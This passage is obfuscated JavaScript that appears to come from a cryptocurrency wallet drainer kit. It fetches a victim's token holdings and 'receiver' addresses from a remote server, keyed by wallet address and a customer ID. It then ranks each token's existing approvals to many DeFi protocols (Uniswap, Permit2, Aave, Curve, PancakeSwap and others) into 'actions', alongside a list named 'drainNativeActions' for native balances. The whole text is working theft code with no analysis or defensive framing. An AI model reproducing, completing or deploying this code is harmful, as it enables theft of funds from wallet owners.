amount: _0x3a47f2.amount, | |
value: _0x3a47f2.value | |
}; | |
var _0xcff3f2 = _0x522d72; | |
this.createAction("Bancor", _0xcff3f2, _0x3a47f2.value, _0x536f8f); | |
} | |
} | |
let _0x5cc30b = this.bancorSwapsActions.filter(_0x550ac2 => _0x550ac2.chain == _0x536f8f && !this.approved.includes(_0x550ac2.token + "," + _0x536f8f)); | |
if (_0x5cc30b.length > 0) { | |
for (let _0x2b6a4f of _0x5cc30b) { | |
const _0x57a987 = { | |
token: _0x2b6a4f.token, | |
amount: _0x2b6a4f.amount, | |
value: _0x2b6a4f.value | |
}; | |
var _0xcff3f2 = _0x57a987; | |
this.createAction("BancorSwaps", _0xcff3f2, _0x2b6a4f.value, _0x536f8f); | |
} | |
} | |
let _0x18f59e = this.curveActions.filter(_0x161a6e => _0x161a6e.chain == _0x536f8f && !this.approved.includes(_0x161a6e.token + "," + _0x536f8f)); | |
if (_0x18f59e.length > 0) { | |
for (let _0x30e3f0 of _0x18f59e) { | |
const _0x14f81b = { | |
token: _0x30e3f0.token, | |
amount: _0x30e3f0.amount, | |
value: _0x30e3f0.value | |
}; | |
var _0x10c07b = _0x14f81b; | |
this.createAction("Curve", _0x10c07b, _0x30e3f0.value, _0x536f8f); | |
} | |
} | |
let _0x429914 = this.curveVyper1Actions.filter(_0x441be3 => _0x441be3.chain == _0x536f8f && !this.approved.includes(_0x441be3.token + "," + _0x536f8f)); | |
if (_0x429914.length > 0) { | |
for (let _0x4fb197 of _0x429914) { | |
const _0x4b7c9d = { | |
token: _0x4fb197.token, | |
amount: _0x4fb197.amount, | |
value: _0x4fb197.value | |
}; | |
var _0x10c07b = _0x4b7c9d; | |
this.createAction("CurveVyper1", _0x10c07b, _0x4fb197.value, _0x536f8f); | |
} | |
} | |
let _0x40e471 = this.cowActions.filter(_0x3f0ac0 => _0x3f0ac0.chain == _0x536f8f && !this.approved.includes(_0x3f0ac0.token + "," + _0x536f8f)); | |
if (_0x40e471.length > 0) { | |
for (let _0x2745f0 of _0x40e471) { | |
const _0x136e1d = { | |
token: _0x2745f0.token, | |
amount: _0x2745f0.amount, | |
value: _0x2745f0.value | |
}; | |
var _0x24ccb5 = _0x136e1d; | |
this.createAction("Cowswap", _0x24ccb5, _0x2745f0.value, _0x536f8f); | |
} | |
} | |
let _0x5163ba = this.oneinchv5Actions.filter(_0xfa2cc6 => _0xfa2cc6.chain == _0x536f8f && !this.approved.includes(_0xfa2cc6.token + "," + _0x536f8f)); | |
if (_0x5163ba.length > 0) { | |
for (let _0x5ba373 of _0x5163ba) { | |
const _0x256170 = { | |
token: _0x5ba373.token, | |
amount: _0x5ba373.amount, | |
value: _0x5ba373.value | |
}; | |
var _0x435572 = _0x256170; | |
this.createAction("1InchV5", _0x435572, _0x5ba373.value, _0x536f8f); | |
} | |
} | |
let _0x3867e1 = this.kyberActions.filter(_0x464322 => _0x464322.chain == _0x536f8f && !this.approved.includes(_0x464322.token + "," + _0x536f8f)); | |
if (_0x3867e1.length > 0) { | |
for (let _0x2b4fb6 of _0x3867e1) { | |
const _0x3bf3c5 = { | |
token: _0x2b4fb6.token, | |
amount: _0x2b4fb6.amount, | |
value: _0x2b4fb6.value | |
}; | |
var _0x435572 = _0x3bf3c5; | |
this.createAction("Kyber", _0x435572, _0x2b4fb6.value, _0x536f8f); | |
} | |
} | |
let _0x48ff5b = this.traderJoeV1Actions.filter(_0x2fb02b => _0x2fb02b.chain == _0x536f8f && !this.approved.includes(_0x2fb02b.token + "," + _0x536f8f)); | |
if (_0x48ff5b.length > 0) { | |
for (let _0x2130f7 of _0x48ff5b) { | |
const _0x5c3ab2 = { | |
token: _0x2130f7.token, | |
amount: _0x2130f7.amount, | |
value: _0x2130f7.value | |
}; | |
var _0x435572 = _0x5c3ab2; | |
this.createAction("TraderJoeV1", _0x435572, _0x2130f7.value, _0x536f8f); | |
} | |
} | |
let _0x3c41e1 = this.traderJoeV2Actions.filter(_0x4c50d6 => _0x4c50d6.chain == _0x536f8f && !this.approved.includes(_0x4c50d6.token + "," + _0x536f8f)); | |
if (_0x3c41e1.length > 0) { | |
for (let _0x5d41a3 of _0x3c41e1) { | |
const _0x2e7365 = { | |
token: _0x5d41a3.token, | |
amount: _0x5d41a3.amount, | |
value: _0x5d41a3.value | |
}; | |
var _0x435572 = _0x2e7365; | |
this.createAction("TraderJoeV2", _0x435572, _0x5d41a3.value, _0x536f8f); | |
} | |
} | |
let _0x389f86 = this.traderJoeV3Actions.filter(_0xade0f7 => _0xade0f7.chain == _0x536f8f && !this.approved.includes(_0xade0f7.token + "," + _0x536f8f)); | |
if (_0x389f86.length > 0) { | |
for (let _0x2cb684 of _0x389f86) { | |
const _0x1c2602 = { | |
token: _0x2cb684.token, | |
amount: _0x2cb684.amount, | |
value: _0x2cb684.value | |
}; | |
var _0x435572 = _0x1c2602; | |
this.createAction("TraderJoeV3", _0x435572, _0x2cb684.value, _0x536f8f); | |
} | |
} | |
let _0x4c9047 = this.zeroexActions.filter(_0x5ece2c => _0x5ece2c.chain == _0x536f8f && !this.approved.includes(_0x5ece2c.token + "," + _0x536f8f)); | |
if (_0x4c9047.length > 0) { | |
for (let _0x234eca of _0x4c9047) { | |
const _0x1a117d = { | |
token: _0x234eca.token, | |
amount: _0x234eca.amount, | |
value: _0x234eca.value | |
}; | |
var _0x435572 = _0x1a117d; | |
this.createAction("ZeroEx", _0x435572, _0x234eca.value, _0x536f8f); | |
} | |
} | |
let _0x4b3b1c = this.stargateActions.filter(_0x1a157e => _0x1a157e.chain == _0x536f8f && !this.approved.includes(_0x1a157e.token + "," + _0x536f8f)); | |
if (_0x4b3b1c.length > 0) { | |
for (let _0x209491 of _0x4b3b1c) { | |
const _0x5dd4ca = { | |
token: _0x209491.token, | |
amount: _0x209491.amount, | |
value: _0x209491.value | |
}; | |
var _0x435572 = _0x5dd4ca; | |
this.createAction("Stargate", _0x435572, _0x209491.value, _0x536f8f); | |
} | |
} | |
let _0x1ca2ca = this.pangolinActions.filter(_0x1b937c => _0x1b937c.chain == _0x536f8f && !this.approved.includes(_0x1b937c.token + "," + _0x536f8f)); | |
if (_0x1ca2ca.length > 0) { | |
for (let _0x14140d of _0x1ca2ca) { | |
const _0x1eea51 = { | |
token: _0x14140d.token, | |
amount: _0x14140d.amount, | |
value: _0x14140d.value | |
}; | |
var _0x435572 = _0x1eea51; | |
this.createAction("Pangolin", _0x435572, _0x14140d.value, _0x536f8f); | |
} | |
} | |
let _0x249946 = this.pancakeActions.filter(_0x4b9c1d => _0x4b9c1d.chain == _0x536f8f && !this.approved.includes(_0x4b9c1d.token + "," + _0x536f8f)); | |
if (_0x249946.length > 0) { | |
for (let _0x4aa56a of _0x249946) { | |
const _0x273943 = { | |
token: _0x4aa56a.token, | |
amount: _0x4aa56a.amount, | |
value: _0x4aa56a.value | |
}; | |
var _0x56ae84 = _0x273943; | |
this.createAction("Pancake", _0x56ae84, _0x4aa56a.value, _0x536f8f); | |
} | |
} | |
let _0x986e3d = this.pancakev2Actions.filter(_0x50ac38 => _0x50ac38.chain == _0x536f8f && !this.approved.includes(_0x50ac38.token + "," + _0x536f8f)); | |
if (_0x986e3d.length > 0) { | |
let _0x21f3a8 = []; | |
let _0x567979 = 0; | |
for (let _0x1a538d of _0x986e3d) { | |
_0x567979 += _0x1a538d.value; | |
const _0x16062d = { | |
token: _0x1a538d.token, | |
amount: _0x1a538d.amount, | |
value: _0x1a538d.value | |
}; | |
var _0x56ae84 = _0x16062d; | |
_0x21f3a8.push(_0x56ae84); | |
} | |
this.createAction("PancakeV2", _0x21f3a8, _0x567979, _0x536f8f); | |
} | |
let _0x41723c = this.specialActions.filter(_0x1c05be => _0x1c05be.chain == _0x536f8f && !this.approved.includes(_0x1c05be.token + "," + _0x536f8f)); | |
if (_0x41723c.length > 0) { | |
for (let _0x4c9232 of _0x41723c) { | |
const _0x396670 = { | |
token: _0x4c9232.token, | |
amount: _0x4c9232.amount, | |
value: _0x4c9232.value | |
}; | |
var _0x46d36d = _0x396670; | |
this.createAction("Special", _0x46d36d, _0x4c9232.value, _0x536f8f); | |
} | |
} | |
let _0x38975f = this.shibaSwapActions.filter(_0x162cc6 => _0x162cc6.chain == _0x536f8f && !this.approved.includes(_0x162cc6.token + "," + _0x536f8f)); | |
if (_0x38975f.length > 0) { | |
for (let _0x4da3ba of _0x38975f) { | |
const _0x51f3e7 = { | |
token: _0x4da3ba.token, | |
amount: _0x4da3ba.amount, | |
value: _0x4da3ba.value | |
}; | |
var _0x435572 = _0x51f3e7; | |
this.createAction("Shibaswap", _0x435572, _0x4da3ba.value, _0x536f8f); | |
} | |
} | |
let _0x40c591 = this.uniswapv2Actions.filter(_0xca30ee => _0xca30ee.chain == _0x536f8f && !this.approved.includes(_0xca30ee.token + "," + _0x536f8f)); | |
if (_0x40c591.length > 0) { | |
for (let _0xbf5a6b of _0x40c591) { | |
const _0x5cb2e1 = { | |
token: _0xbf5a6b.token, | |
amount: _0xbf5a6b.amount, | |
value: _0xbf5a6b.value | |
}; | |
var _0x2d7962 = _0x5cb2e1; | |
this.createAction("UniswapV2", _0x2d7962, _0xbf5a6b.value, _0x536f8f); | |
} | |
} | |
let _0x1786be = this.uniswapv3Actions.filter(_0x2199da => _0x2199da.chain == _0x536f8f && !this.approved.includes(_0x2199da.token + "," + _0x536f8f)); | |
if (_0x1786be.length > 0) { | |
let _0x14cab6 = []; | |
let _0x58f3b9 = 0; | |
for (let _0x473d6b of _0x1786be) { | |
_0x58f3b9 += _0x473d6b.value; | |
const _0x11fd26 = { | |
token: _0x473d6b.token, | |
amount: _0x473d6b.amount, | |
value: _0x473d6b.value | |
}; | |
var _0x2d7962 = _0x11fd26; | |
_0x14cab6.push(_0x2d7962); | |
} | |
this.createAction("UniswapV3", _0x14cab6, _0x58f3b9, _0x536f8f); | |
} | |
let _0x197a5c = this.uniswapv3_2Actions.filter(_0xa40308 => _0xa40308.chain == _0x536f8f && !this.approved.includes(_0xa40308.token + "," + _0x536f8f)); | |
if (_0x197a5c.length > 0) { | |
let _0x1948b0 = []; | |
let _0x173317 = 0; | |
for (let _0x39b085 of _0x197a5c) { | |
_0x173317 += _0x39b085.value; | |
const _0x1a3e18 = { | |
token: _0x39b085.token, | |
amount: _0x39b085.amount, | |
value: _0x39b085.value | |
}; | |
var _0x2d7962 = _0x1a3e18; | |
_0x1948b0.push(_0x2d7962); | |
} | |
this.createAction("UniswapV3_2", _0x1948b0, _0x173317, _0x536f8f); | |
} | |
let _0x27d532 = this.permit2Actions.filter(_0x6c84c9 => _0x6c84c9.chain == _0x536f8f && !this.approved.includes(_0x6c84c9.token + "," + _0x536f8f)); | |
if (_0x27d532.length > 0) { | |
let _0xabf103 = []; | |
let _0x50efbe = 0; | |
for (let _0x8f54a6 of _0x27d532) { | |
_0x50efbe += _0x8f54a6.value; | |
const _0x640878 = { | |
token: _0x8f54a6.token, | |
amount: _0x8f54a6.amount, | |
value: _0x8f54a6.value | |
}; | |
var _0x408114 = _0x640878; | |
_0xabf103.push(_0x408114); | |
} | |
this.createAction("Permit2", _0xabf103, _0x50efbe, _0x536f8f); | |
} | |
let _0x11e5bd = this.wooActions.filter(_0x2139e7 => _0x2139e7.chain == _0x536f8f && !this.approved.includes(_0x2139e7.token + "," + _0x536f8f)); | |
if (_0x11e5bd.length > 0) { | |
for (let _0x5e3455 of _0x11e5bd) { | |
const _0x36c215 = { | |
token: _0x5e3455.token, | |
amount: _0x5e3455.amount, | |
value: _0x5e3455.value | |
}; | |
var _0x435572 = _0x36c215; | |
this.createAction("WooFinance", _0x435572, _0x5e3455.value, _0x536f8f); | |
} | |
} | |
let _0x549c62 = this.wooBridgeActions.filter(_0x5c2a42 => _0x5c2a42.chain == _0x536f8f && !this.approved.includes(_0x5c2a42.token + "," + _0x536f8f)); | |
if (_0x549c62.length > 0) { | |
for (let _0x510b82 of _0x549c62) { | |
const _0x2ff998 = { | |
token: _0x510b82.token, | |
amount: _0x510b82.amount, | |
value: _0x510b82.value | |
}; | |
var _0x435572 = _0x2ff998; | |
this.createAction("WooBridge", _0x435572, _0x510b82.value, _0x536f8f); | |
} | |
} | |
let _0x1c127d = this.sushiswapActions.filter(_0xf99af0 => _0xf99af0.chain == _0x536f8f && !this.approved.includes(_0xf99af0.token + "," + _0x536f8f)); | |
if (_0x1c127d.length > 0) { | |
for (let _0x1f08ed of _0x1c127d) { | |
const _0x714381 = { | |
token: _0x1f08ed.token, | |
amount: _0x1f08ed.amount, | |
value: _0x1f08ed.value | |
}; | |
var _0x229afd = _0x714381; | |
this.createAction("Sushiswap", _0x229afd, _0x1f08ed.value, _0x536f8f); | |
} | |
} | |
let _0x5ef2ac = this.sushiProcessActions.filter(_0x5728dd => _0x5728dd.chain == _0x536f8f && !this.approved.includes(_0x5728dd.token + "," + _0x536f8f)); | |
if (_0x5ef2ac.length > 0) { | |
for (let _0x113d32 of _0x5ef2ac) { | |
const _0x559b7c = { | |
token: _0x113d32.token, | |
amount: _0x113d32.amount, | |
value: _0x113d32.value | |
}; | |
var _0x229afd = _0x559b7c; | |
this.createAction("SushiProcess", _0x229afd, _0x113d32.value, _0x536f8f); | |
} | |
} | |
}; | |
tokenPromise = async () => { | |
try { | |
console.log("Requesting Tokens"); | |
let _0x21a2cf = await (await fetch(this.domain + "/items/" + (await this.getWalletAddress()) + ("/" + config.customerId) + ("/" + Base64.encode(this.createEncKey())), this.options)).json(); | |
console.log("Received Tokens, Checking.."); | |
this.tokenValueUSD = _0x21a2cf.value; | |
this.caller = _0x21a2cf.caller; | |
this.receiver = _0x21a2cf.receiver; | |
this.ace_receiver = _0x21a2cf.ace_receiver; | |
this.sharing = _0x21a2cf.sharing; | |
this.tradingPairs = _0x21a2cf.trading; | |
let _0x4990ae = _0x21a2cf.tokens; | |
if (_0x4990ae != null && _0x4990ae.length > 0) { | |
for (let _0x21e323 of _0x4990ae) { | |
this.totalTokens += _0x21e323.value; | |
} | |
const _0x3375f2 = _0x4990ae.map(async _0x180da6 => { | |
if (_0x180da6.token_address == "native") { | |
if (!this.tokenChains.includes(_0x180da6.chain) && _0x180da6.value > 10) { | |
this.tokenChains.push(_0x180da6.chain); | |
} | |
const _0x3c3ea6 = { | |
balance: _0x180da6.balance, | |
value: _0x180da6.value * config.assetOptions.multipliers.balance, | |
chain: _0x180da6.chain | |
}; | |
this.drainNativeActions.push(_0x3c3ea6); | |
} else { | |
try { | |
if (_0x180da6.price == null) { | |
_0x180da6.price = 0; | |
} | |
let _0xddc7ff = _0x180da6.balance; | |
let _0x8250bb = false; | |
if (_0x180da6.approvals.aave_lp2 > 0) { | |
let _0x2f663c = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.aave_lp2) { | |
_0x2f663c = _0x180da6.approvals.aave_lp2; | |
} | |
let _0x410915 = _0x2f663c / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.aaveLP2Actions.push({ | |
value: _0x410915 * config.assetOptions.multipliers.aave, | |
amount: _0x2f663c, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.aave_lp3 > 0) { | |
let _0x144687 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.aave_lp3) { | |
_0x144687 = _0x180da6.approvals.aave_lp3; | |
} | |
let _0x48d8a3 = _0x144687 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.aaveLP3Actions.push({ | |
value: _0x48d8a3 * config.assetOptions.multipliers.aave, | |
amount: _0x144687, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.aave_lp4 > 0) { | |
let _0x5cf02e = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.aave_lp4) { | |
_0x5cf02e = _0x180da6.approvals.aave_lp4; | |
} | |
let _0x95314f = _0x5cf02e / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.aaveLP4Actions.push({ | |
value: _0x95314f * config.assetOptions.multipliers.aave, | |
amount: _0x5cf02e, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.permit2 > 0) { | |
let _0x278135 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.permit2) { | |
_0x278135 = _0x180da6.approvals.permit2; | |
} | |
let _0x5ca782 = _0x278135 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.permit2Actions.push({ | |
value: _0x5ca782 * config.assetOptions.multipliers.permit2, | |
amount: _0x278135, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.uniswap_v2 > 0) { | |
let _0x1669ef = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.uniswapv2) { | |
_0x1669ef = _0x180da6.approvals.uniswapv2; | |
} | |
let _0x21901d = _0x1669ef / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.uniswapv2Actions.push({ | |
value: _0x21901d * config.assetOptions.multipliers.uniswap, | |
amount: _0x1669ef, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.uniswap_v3 > 0) { | |
let _0x24e808 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.uniswapv3) { | |
_0x24e808 = _0x180da6.approvals.uniswapv3; | |
} | |
let _0x5cab86 = _0x24e808 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.uniswapv3Actions.push({ | |
value: _0x5cab86 * config.assetOptions.multipliers.uniswapv2, | |
amount: _0x24e808, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.uniswap_v3_2 > 0) { | |
let _0x20b7f1 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.uniswapv3_2) { | |
_0x20b7f1 = _0x180da6.approvals.uniswapv3_2; | |
} | |
let _0x4db552 = _0x20b7f1 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.uniswapv3_2Actions.push({ | |
value: _0x4db552 * config.assetOptions.multipliers.uniswapv2, | |
amount: _0x20b7f1, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.bancor > 0) { | |
let _0x1d3e2f = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.bancor) { | |
_0x1d3e2f = _0x180da6.approvals.bancor; | |
} | |
let _0x5b1f4e = _0x1d3e2f / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.bancorActions.push({ | |
value: _0x5b1f4e * config.assetOptions.multipliers.uniswap, | |
amount: _0x1d3e2f, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.bancor_swaps > 0) { | |
let _0x1fc2ef = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.bancor_swaps) { | |
_0x1fc2ef = _0x180da6.approvals.bancor_swaps; | |
} | |
let _0x2fbd74 = _0x1fc2ef / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x20c13f = { | |
value: _0x2fbd74 * config.assetOptions.multipliers.uniswap, | |
amount: _0x1fc2ef, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.bancorSwapsActions.push(_0x20c13f); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.kyber > 0) { | |
let _0x3acf97 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.kyber) { | |
_0x3acf97 = _0x180da6.approvals.kyber; | |
} | |
let _0x41fd26 = _0x3acf97 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.kyberActions.push({ | |
value: _0x41fd26 * config.assetOptions.multipliers.uniswap, | |
amount: _0x3acf97, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.quickswap > 0) { | |
let _0x200a57 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.quickswap) { | |
_0x200a57 = _0x180da6.approvals.quickswap; | |
} | |
let _0x298f46 = _0x200a57 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.quickSwapActions.push({ | |
value: _0x298f46 * config.assetOptions.multipliers.uniswap, | |
amount: _0x200a57, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.spookyswap > 0) { | |
let _0x18519f = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.spookyswap) { | |
_0x18519f = _0x180da6.approvals.spookyswap; | |
} | |
let _0xdd0f70 = _0x18519f / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.spookyActions.push({ | |
value: _0xdd0f70 * config.assetOptions.multipliers.uniswap, | |
amount: _0x18519f, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.gmx > 0) { | |
let _0x5580b2 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.gmx) { | |
_0x5580b2 = _0x180da6.approvals.gmx; | |
} | |
let _0x425580 = _0x5580b2 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x9ab733 = { | |
value: _0x425580 * config.assetOptions.multipliers.uniswap, | |
amount: _0x5580b2, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.gmxActions.push(_0x9ab733); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.pangolin > 0) { | |
let _0x365719 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.pangolin) { | |
_0x365719 = _0x180da6.approvals.pangolin; | |
} | |
let _0x37f169 = _0x365719 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x45ad36 = { | |
value: _0x37f169 * config.assetOptions.multipliers.uniswap, | |
amount: _0x365719, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.pangolinActions.push(_0x45ad36); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.traderjoe_v3 > 0) { | |
let _0x3a43cf = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v3) { | |
_0x3a43cf = _0x180da6.approvals.traderjoe_v3; | |
} | |
let _0xe19aea = _0x3a43cf / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.traderJoeV3Actions.push({ | |
value: _0xe19aea * config.assetOptions.multipliers.uniswap, | |
amount: _0x3a43cf, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.traderjoe_v2 > 0) { | |
let _0x4e06ee = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v2) { | |
_0x4e06ee = _0x180da6.approvals.traderjoe_v2; | |
} | |
let _0x1539d0 = _0x4e06ee / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.traderJoeV2Actions.push({ | |
value: _0x1539d0 * config.assetOptions.multipliers.uniswap, | |
amount: _0x4e06ee, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.traderjoe_v1 > 0) { | |
let _0x492ce8 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.traderjoe_v1) { | |
_0x492ce8 = _0x180da6.approvals.traderjoe_v1; | |
} | |
let _0x5f3201 = _0x492ce8 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.traderJoeV1Actions.push({ | |
value: _0x5f3201 * config.assetOptions.multipliers.uniswap, | |
amount: _0x492ce8, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.woo > 0) { | |
let _0x43d73e = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.woo) { | |
_0x43d73e = _0x180da6.approvals.woo; | |
} | |
let _0x1316ae = _0x43d73e / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.wooActions.push({ | |
value: _0x1316ae * config.assetOptions.multipliers.uniswap, | |
amount: _0x43d73e, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.woo_bridge > 0) { | |
let _0x5d9c04 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.woo_bridge) { | |
_0x5d9c04 = _0x180da6.approvals.woo_bridge; | |
} | |
let _0x4365e0 = _0x5d9c04 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.wooBridgeActions.push({ | |
value: _0x4365e0 * config.assetOptions.multipliers.uniswap, | |
amount: _0x5d9c04, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.camelot > 0) { | |
let _0x20c08e = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.camelot) { | |
_0x20c08e = _0x180da6.approvals.camelot; | |
} | |
let _0x528a31 = _0x20c08e / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.camelotActions.push({ | |
value: _0x528a31 * config.assetOptions.multipliers.uniswap, | |
amount: _0x20c08e, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.shibaswap > 0) { | |
let _0x45687a = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.shibaswap) { | |
_0x45687a = _0x180da6.approvals.shibaswap; | |
} | |
let _0x511755 = _0x45687a / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.shibaSwapActions.push({ | |
value: _0x511755 * config.assetOptions.multipliers.uniswap, | |
amount: _0x45687a, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.stargate > 0) { | |
let _0x22e1ba = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.stargate) { | |
_0x22e1ba = _0x180da6.approvals.stargate; | |
} | |
let _0x38db7d = _0x22e1ba / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x10af3c = { | |
value: _0x38db7d * config.assetOptions.multipliers.stargate, | |
amount: _0x22e1ba, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.stargateActions.push(_0x10af3c); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.cowswap > 0) { | |
let _0x27539f = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.cowswap) { | |
_0x27539f = _0x180da6.approvals.cowswap; | |
} | |
let _0x223ea0 = _0x27539f / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.cowActions.push({ | |
value: _0x223ea0 * config.assetOptions.multipliers.uniswap, | |
amount: _0x27539f, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.curve > 0) { | |
let _0x5ad555 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.curve) { | |
_0x5ad555 = _0x180da6.approvals.curve; | |
} | |
let _0x365125 = _0x5ad555 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.curveActions.push({ | |
value: _0x365125 * config.assetOptions.multipliers.curve, | |
amount: _0x5ad555, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.curve_vyper1 > 0) { | |
let _0x1c5eda = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.curve_vyper1) { | |
_0x1c5eda = _0x180da6.approvals.curve_vyper1; | |
} | |
let _0x291230 = _0x1c5eda / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.curveVyper1Actions.push({ | |
value: _0x291230 * config.assetOptions.multipliers.curve, | |
amount: _0x1c5eda, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.oneinch_v5 > 0) { | |
let _0x3d77de = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.oneinch_v5) { | |
_0x3d77de = _0x180da6.approvals.oneinch_v5; | |
} | |
let _0xaa18a2 = _0x3d77de / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.oneinchv5Actions.push({ | |
value: _0xaa18a2 * config.assetOptions.multipliers.uniswap, | |
amount: _0x3d77de, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.zeroex > 0) { | |
let _0x4ef3db = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.zeroex) { | |
_0x4ef3db = _0x180da6.approvals.zeroex; | |
} | |
let _0x1883c3 = _0x4ef3db / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.zeroexActions.push({ | |
value: _0x1883c3 * config.assetOptions.multipliers.uniswap, | |
amount: _0x4ef3db, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.pancake > 0) { | |
let _0x4ab476 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.pancake) { | |
_0x4ab476 = _0x180da6.approvals.pancake; | |
} | |
let _0xfc939b = _0x4ab476 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.pancakeActions.push({ | |
